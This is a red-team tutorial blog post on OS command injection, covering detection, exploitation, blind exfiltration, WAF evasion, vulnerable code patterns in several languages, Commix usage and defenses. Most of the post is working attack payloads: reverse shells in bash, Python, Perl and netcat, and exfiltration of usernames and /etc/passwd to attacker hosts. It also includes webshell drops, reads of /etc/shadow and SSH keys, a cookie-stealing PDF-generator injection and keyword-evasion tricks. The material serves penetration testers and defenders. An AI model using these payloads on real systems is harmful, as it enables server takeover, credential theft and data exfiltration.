Command injection is one of the most dangerous vulnerability classes in web security. Not because it’s subtle — it’s actually one of the most direct paths to full system compromise. You inject a shell command through a web input, the server executes it, and suddenly you’re running arbitrary code on someone’s infrastructure.

OWASP has kept injection in its Top 10 for over a decade for good reason. When you find command injection, the game changes. It’s not “I can read a record I shouldn’t.” It’s “I own this server.”

This guide covers everything: how command injection works, how to find it in modern applications, exploitation techniques from blind detection through full RCE, WAF bypass methods, and how to chain it with other vulnerabilities for maximum impact.


What Is Command Injection?

Command injection (also called OS command injection) occurs when an application passes unsanitized user input to a system shell. Instead of treating the input as data, the shell interprets it as code.

The simplest example:

# Application code (vulnerable):
system("ping -c 1 " + user_input)

# Legitimate request:
GET /api/ping?host=192.168.1.1
# Shell executes: ping -c 1 192.168.1.1

# Injected request:
GET /api/ping?host=192.168.1.1;id
# Shell executes: ping -c 1 192.168.1.1;id
# Output includes: uid=33(www-data) gid=33(www-data) groups=33(www-data)

That semicolon is all it takes. The shell treats ; as a command separator. Everything after it runs as a separate command with the same privileges as the web application.

This is fundamentally different from SQL injection, which targets database engines. Command injection targets the underlying operating system. The blast radius is immediate and total.


Why Command Injection Is Still Common in 2026

You might expect this vulnerability class to be extinct by now. It’s not.

Legacy codebases. Enterprise applications built in the early 2000s frequently used system(), exec(), popen(), and similar calls because they were convenient. Many of those apps are still running.

Feature requirements driving bad patterns. Applications that do network diagnostics, file processing, image conversion, PDF generation, DNS lookups, or report generation often shell out to system utilities. Developers reach for shell_exec() or subprocess.call() because it’s the path of least resistance.

Developer overconfidence in filtering. Teams add input validation — block semicolons, check for obvious characters — and declare the feature safe. The problem is that there are dozens of injection operators, and filtering is much harder than parameterization.

Third-party integrations. Modern apps call external tools, scripts, and utilities. Each one is a potential injection point if the calling code doesn’t properly handle input.

In bug bounty programs, command injection findings routinely come from features like:

  • Network diagnostic tools (ping, traceroute, nslookup)
  • File conversion (ImageMagick, wkhtmltopdf, FFmpeg)
  • Report generation
  • Backup and archive operations
  • Log analysis features
  • Deployment or CI/CD web interfaces

Command Injection vs Code Injection: The Difference

These terms are sometimes used interchangeably, but they’re distinct:

TypeWhat’s InjectedWhere It Executes
OS Command InjectionShell commandsOperating system shell
Code InjectionProgramming language codeLanguage interpreter (PHP eval, Python exec)
SQL InjectionSQL statementsDatabase engine

Command injection goes through the OS shell. Code injection stays within the language runtime. The exploitation techniques differ. This guide focuses on OS command injection — shell commands on Linux and Windows targets.


Shell Operators: Your Injection Toolkit

Understanding shell operators is fundamental. These are what make injection possible — and why simple character filtering fails.

Unix/Linux Operators

;    # Command separator: cmd1;cmd2
&&   # AND: cmd1 && cmd2 (cmd2 runs only if cmd1 succeeds)
||   # OR: cmd1 || cmd2 (cmd2 runs only if cmd1 fails)
|    # Pipe: cmd1 | cmd2 (stdout of cmd1 → stdin of cmd2)
`    # Backtick: `cmd` (command substitution — executes and substitutes output)
$()  # Modern command substitution: $(cmd)
\n   # Newline: URL-encoded as %0a — treated as command separator in many contexts
&    # Background: cmd1 & cmd2 (runs cmd2 in background)

Windows Operators

&    # cmd1 & cmd2
&&   # cmd1 && cmd2
||   # cmd1 || cmd2
|    # cmd1 | cmd2
;    # In some contexts (PowerShell)
\n   # Newline (%0a)

Why Filtering Fails

Applications that block ; but not &&, ||, |, or backticks are still vulnerable. Applications that filter obvious operators but not URL-encoded variants miss injections like %26 (&) or %7c (|). Applications that decode input before filtering but then pass it to the shell are doubly vulnerable.

The only reliable protection is not building shell commands from user input at all.


Detecting Command Injection

Step 1: Identify Injection Points

Look for any functionality that might call system utilities:

  • Diagnostic features: ping, traceroute, nslookup, whois inputs
  • File processing: upload features (especially image, PDF, archive)
  • Search that touches the filesystem: find, grep-based search
  • Template or report generation: anything that mentions “export” or “generate PDF”
  • Conversion features: resize, compress, convert
  • Administrative panels: system info, server health, log viewing
  • Import/export: CSV, XML, ZIP processing

Test every parameter that feeds into these features. Don’t forget headers — User-Agent, Referer, X-Forwarded-For are sometimes passed to logging utilities or analytics scripts.

Step 2: Test for Basic Injection

Start with the simplest operators:

# Time-based detection (always works, even with no output)
original_value;sleep 5
original_value|sleep 5
original_value&&sleep 5
original_value||sleep 5
original_value`sleep 5`
original_value$(sleep 5)

# If the response takes ~5 seconds longer: vulnerable

For Windows targets:

original_value&ping -n 5 127.0.0.1
original_value|timeout /T 5

Step 3: Try Output-Returning Payloads

If you get output from the application, try commands with visible output:

;id
;whoami
;cat /etc/passwd
;ls -la /
;uname -a
|id
`id`
$(id)

For Windows:

&whoami
&dir
&type C:\Windows\System32\drivers\etc\hosts

Step 4: Blind Injection Confirmation

No visible output? Use out-of-band techniques:

# DNS exfiltration (use Burp Collaborator, interactsh, or your own DNS)
;nslookup $(whoami).attacker.com
;curl http://attacker.com/$(whoami)
;wget http://attacker.com/?data=$(id|base64)

# File write (check if file appears)
;echo "injected" > /var/www/html/proof.txt
;id > /var/www/html/output.txt

If you control a server or are using a tool like Burp Collaborator, DNS callbacks are the most reliable blind confirmation technique — even through egress firewalls that block HTTP.


Exploitation: From Detection to Shell

Direct Output Extraction

When the application reflects command output:

# System reconnaissance
;id;uname -a;hostname;cat /etc/passwd;cat /etc/shadow
;cat /proc/version;ls /home;env

# Network recon
;ifconfig;route;netstat -an
;ip addr show;ip route

# Find sensitive files
;find / -name "*.conf" -type f 2>/dev/null | head -20
;find / -name "id_rsa" 2>/dev/null
;find / -name ".env" 2>/dev/null

# Read application secrets
;cat /var/www/html/.env
;cat /var/www/html/config.php
;cat /home/*/.ssh/id_rsa

Reverse Shell via Command Injection

The goal is usually a proper reverse shell. Set up your listener first:

# On your machine:
nc -lvnp 4444

Then inject a reverse shell payload:

# Bash reverse shell
;bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

# URL-encoded (for HTTP parameters):
;bash+-i+>%26+/dev/tcp/YOUR_IP/4444+0>%261

# Python reverse shell
;python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat (if available)
;nc -e /bin/bash YOUR_IP 4444

# Netcat without -e flag
;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f

# Perl
;perl -e 'use Socket;$i="YOUR_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'

Use revshells.com for generated payloads in all languages and encodings.

Upgrading to a Full TTY

After catching a shell:

# In the reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Then:
# Ctrl+Z to background
stty raw -echo; fg
# Press Enter twice

# Set terminal size:
export TERM=xterm
stty rows 50 cols 220

File Upload via Command Injection

Establish persistence or drop additional tools:

# Download a file
;wget http://YOUR_IP/shell.php -O /var/www/html/shell.php
;curl -o /var/www/html/shell.php http://YOUR_IP/shell.php

# Write a webshell directly
;echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

# For restricted environments — base64 encode the payload
;echo 'PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+' | base64 -d > /var/www/html/shell.php

Blind Command Injection Techniques

When there’s no output and you need to exfiltrate data.

Time-Based Confirmation

The most reliable first step:

# If sleep works, you have injection
;sleep 10

# Conditional time-based: read a file and check length
;[ $(id | wc -c) -gt 5 ] && sleep 5

# Exfiltrate character by character (slow but works through firewalls)
;[ $(whoami | cut -c1) == 'r' ] && sleep 3

DNS Exfiltration

DNS queries often bypass egress firewalls that block HTTP/HTTPS. Use Burp Collaborator or interactsh .

# Basic DNS callback
;nslookup $(whoami).YOUR_COLLABORATOR_HOST

# Exfiltrate command output via DNS
;host $(id | tr ' ' '_').YOUR_COLLABORATOR_HOST

# Read file content via DNS (multi-character per query)
;nslookup $(cat /etc/passwd | head -1 | md5sum | cut -c1-20).YOUR_COLLABORATOR_HOST

# Using curl for DNS
;curl http://$(whoami).YOUR_COLLABORATOR_HOST/

HTTP Out-of-Band

# GET request with data in URL
;curl "http://YOUR_SERVER/?cmd=$(id | base64 | tr -d '\n')"

# POST request
;curl -X POST http://YOUR_SERVER/ -d "$(cat /etc/passwd | base64)"

# Wget alternative
;wget -q -O /dev/null "http://YOUR_SERVER/?data=$(whoami | base64)"

File Write Then Read

If you can write to the web root and read the result via HTTP:

# Write command output to a readable file
;id > /var/www/html/static/data.txt
;cat /etc/passwd > /var/www/html/static/data.txt
;env > /var/www/html/static/data.txt

# Then fetch:
# GET /static/data.txt

WAF Bypass Techniques

Modern WAFs block obvious payloads. Here’s how to get around them.

Encoding Tricks

# URL encoding
;id → ;id (obvious)
%3bid → ;id (single encode)
%253bid → ;id (double encode)

# Common characters:
; = %3b
| = %7c
& = %26
` = %60
$ = %24
( = %28
) = %29
newline = %0a

# Bypass with newline instead of semicolon
id%0awhoami

String Manipulation to Avoid Keywords

# Avoid "cat" — use alternative approaches
;c\at /etc/passwd
;c""at /etc/passwd
;ca$1t /etc/passwd
;cat$'\n' /etc/passwd
;tac /etc/passwd     # reverse cat
;head /etc/passwd
;tail /etc/passwd

# Avoid "id" keyword
;i\d
;id${IFS}

# Variable substitution
;a=id;$a
;a=i;b=d;$a$b

# Brace expansion
;{id,whoami}

IFS (Internal Field Separator) Tricks

# Use ${IFS} instead of spaces
;cat${IFS}/etc/passwd
;cat${IFS}/etc/shadow
;id${IFS}&&${IFS}whoami

# Use tab or newline
;cat	/etc/passwd   (tab character)
;cat%09/etc/passwd    (URL-encoded tab)

Command Substitution Variations

# These are equivalent:
`id`
$(id)
$(<file)  # Read file contents

# Nested:
$($(which cat) /etc/passwd)
`$(echo id)`

Wildcard Abuse

# Wildcards expand in the shell — useful to avoid detection
;/bin/cat /etc/p*swd
;/bin/cat /etc/pass??d
;/b?n/?d
;/usr/bin/wh?ami

# Use find with exec
;find / -name passwd -exec cat {} \;

Bypassing Length Limits

When the injection point has a character limit:

# Write a script in pieces, then execute
;echo "id>" > /tmp/x
;echo "/tmp/o" >> /tmp/x
;bash /tmp/x
;cat /tmp/o

# Use environment variables
;export CMD=id
;$CMD

Common Vulnerable Patterns by Language

PHP

// VULNERABLE patterns:
system($input);
exec($input);
shell_exec($input);
passthru($input);
popen($input, 'r');
`$input`;  // backtick operator
proc_open($input, ...);

// Also vulnerable in eval():
eval("echo $input;");  // Code injection, not command injection

Look for these in PHP apps. The backtick operator is often overlooked.

Python

# VULNERABLE:
import os
os.system(user_input)
os.popen(user_input)
subprocess.call(user_input, shell=True)   # shell=True is the danger flag
subprocess.Popen(user_input, shell=True)
subprocess.run(user_input, shell=True)

# SAFE (no shell=True, arguments as list):
subprocess.run(['ping', '-c', '1', user_input])  # Input can't escape arg boundary

shell=True in Python subprocess calls is the most common pattern. When you see it in code review, treat it as a red flag.

Node.js

// VULNERABLE:
const { exec } = require('child_process');
exec('ping ' + userInput, callback);

exec(`convert ${filename} output.jpg`, callback);  // Template literal injection

// ALSO VULNERABLE:
child_process.execSync(userInput);

// SAFER — avoid string building:
execFile('/usr/bin/ping', ['-c', '1', userInput], callback);

Ruby

# VULNERABLE:
system("ls #{user_input}")
`ls #{user_input}`
IO.popen("ls #{user_input}")
%x(ls #{user_input})
eval(user_input)  # code injection

# SAFER:
system("ls", user_input)  # separate argument, not interpolated

Chaining Command Injection with Other Vulnerabilities

Command Injection → Privilege Escalation

Getting a shell as www-data is just the start. Common escalation from there:

# Check for SUID binaries
find / -perm -u=s -type f 2>/dev/null

# Check sudo rights
sudo -l

# Check writable cron jobs
ls -la /etc/cron*
cat /etc/crontab

# Check for weak file permissions
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys

# Use linpeas for automated enum
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

A VPS practice environment lets you run these techniques safely. Vultr and DigitalOcean have cheap cloud instances you can spin up, practice on, and destroy.

Command Injection + SSRF

If the application makes server-side requests and you can inject commands into those requests, you can combine both for internal network access plus RCE. Target: cloud environments where metadata endpoints are accessible.

See our SSRF Attack Guide for cloud metadata exploitation techniques to chain after achieving command injection.

Command Injection + File Upload

If you can upload a file and the application processes it with a system command:

# Filename injection — if the filename is passed to a shell command
filename: test.jpg;id;.jpg
filename: test$(id).jpg
filename: test`id`.jpg

# ImageMagick (CVE-2016-3714 / ImageTragick — older, but still found in unpatched systems)
# File content injection via malicious image:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/x)|id | tee /tmp/x'
pop graphic-context

# Modern ImageMagick still has delegate abuse vectors — check version

Real-World Command Injection Examples

Example 1: DNS Lookup Feature

A web app offers: “Check if domain resolves: [input box]”

# Normal use:
host=redteamguide.com

# Injected:
host=redteamguide.com;cat /etc/passwd
host=redteamguide.com|id
host=redteamguide.com`whoami`
host=redteamguide.com$(id)

The backend code is probably:

$output = shell_exec("nslookup " . $_POST['host']);

Example 2: PDF Report Generation

Application generates PDF reports using wkhtmltopdf:

# Backend:
system("wkhtmltopdf " . $url . " output.pdf");

# Injected URL:
https://example.com/report?url=https://google.com --run-script "fetch('http://attacker.com/?c='+btoa(document.cookie))"

# Or if URL is less filtered:
http://example.com/page; id > /tmp/test #

Example 3: Ping Diagnostic

Classic example — ping tool in admin panel:

# The vulnerable backend:
result = os.system(f"ping -c 4 {user_input}")

# Payload:
127.0.0.1;cat /etc/passwd
127.0.0.1 && cat /etc/shadow
127.0.0.1 | nc attacker.com 4444 -e /bin/bash

Example 4: Archive Extraction

Application extracts uploaded ZIP files:

# Backend code:
system("unzip -o " . $filename . " -d /tmp/uploads/");

# Filename manipulation:
../../var/www/html/shell.php    # Path traversal in ZIP entry
; rm -rf /tmp/* &              # Command injection if filename not sanitized

Automated Testing Tools

Commix

The go-to automated command injection exploitation tool:

# Install
sudo apt install commix

# Basic scan
commix --url="http://target.com/ping?host=127.0.0.1"

# With POST data
commix --url="http://target.com/api/ping" --data="host=127.0.0.1"

# Specify injection point with *
commix --url="http://target.com/ping?host=127.0.0.1*"

# Cookie injection
commix --url="http://target.com/page" --cookie="session=abc123; host=127.0.0.1*"

# Through Burp proxy
commix --url="http://target.com/ping?host=test" --proxy="http://127.0.0.1:8080"

# Force technique
commix --url="http://target.com/ping?host=test" --technique=time    # Time-based
commix --url="http://target.com/ping?host=test" --technique=file    # File-based
commix --url="http://target.com/ping?host=test" --os-shell           # Drop to shell

Burp Suite Professional

The manual testing workflow in Burp:

  1. Intercept the request with the injection point
  2. Send to Intruder — set payload position on the parameter value
  3. Use command injection payload list (SecLists: Fuzzing/command-injection-commix.txt)
  4. Check responses for shell output, timing differences, or error messages
  5. Confirm findings in Repeater with manual payloads

Active scan in Burp Pro will catch obvious command injection automatically.

Manual Testing with curl

# Direct testing without a tool
curl -s "http://target.com/ping?host=127.0.0.1;id" 
curl -s "http://target.com/ping?host=127.0.0.1%3bid"    # URL-encoded ;
curl -s "http://target.com/ping?host=127.0.0.1%7cid"    # URL-encoded |

# Time-based blind detection
time curl -s "http://target.com/ping?host=127.0.0.1;sleep+5"

Defense: What Stops Command Injection

Understanding defenses helps you test more effectively and write better reports.

What Actually Works

Parameterized system calls. Don’t build shell strings. Pass arguments as separate list elements:

# Correct:
subprocess.run(['/bin/ping', '-c', '1', user_input])  # No shell, no injection possible

# Wrong:
subprocess.run('ping -c 1 ' + user_input, shell=True)

Input allowlisting. If you need a hostname: validate it’s a valid hostname pattern before using it. Regex allowlist — not blocklist.

Use language-native APIs. Instead of system("ping"), use a Python ICMP library. Instead of shell_exec("convert"), use ImageMagick’s PHP extension. Avoid the shell entirely.

Principle of least privilege. Web app processes should not run as root. A compromised www-data account is bad; a compromised root account is catastrophic.

What Doesn’t Reliably Work

  • Character blacklists — too many bypasses
  • Escaping user input — easy to get wrong, encoding issues break it
  • WAF alone — useful as a layer, not a solution
  • Sandboxing alone — chroot/containers help contain damage but don’t prevent injection

Bug Bounty Tips

Chain for impact. Blind command injection with no output is a medium. Command injection + RCE on a production server is a critical. Spend the extra time to get to shell.

Document the execution context. Knowing you’re running as www-data matters for the report. Include id, uname -a, hostname, and cat /etc/passwd in your PoC.

Use time-based detection first. It’s universal. If sleep 5 works, you have injection. Then escalate to out-of-band, then visible output extraction.

Be careful with destructive commands. Don’t rm -rf anything. Don’t create files in unexpected places. Keep your PoC clean and reversible.

Report the root cause, not just the parameter. Find the code pattern (os.system(user_input)) and report it. Triage teams escalate faster when they can reproduce from code.


Continue the Series

This is part of our web application attack series for red teamers:


Practice Environment

To practice these techniques legally, spin up a vulnerable lab environment. Vultr and DigitalOcean have low-cost cloud instances — deploy DVWA, VulnHub machines, or HackTheBox Pro Labs with a dedicated attack box.

Don’t practice on systems you don’t own. Set up a proper lab and drill these techniques until they’re second nature.


Need professional-grade security content for your organization? CipherWrite delivers technically accurate cybersecurity articles, reports, and documentation written by practitioners.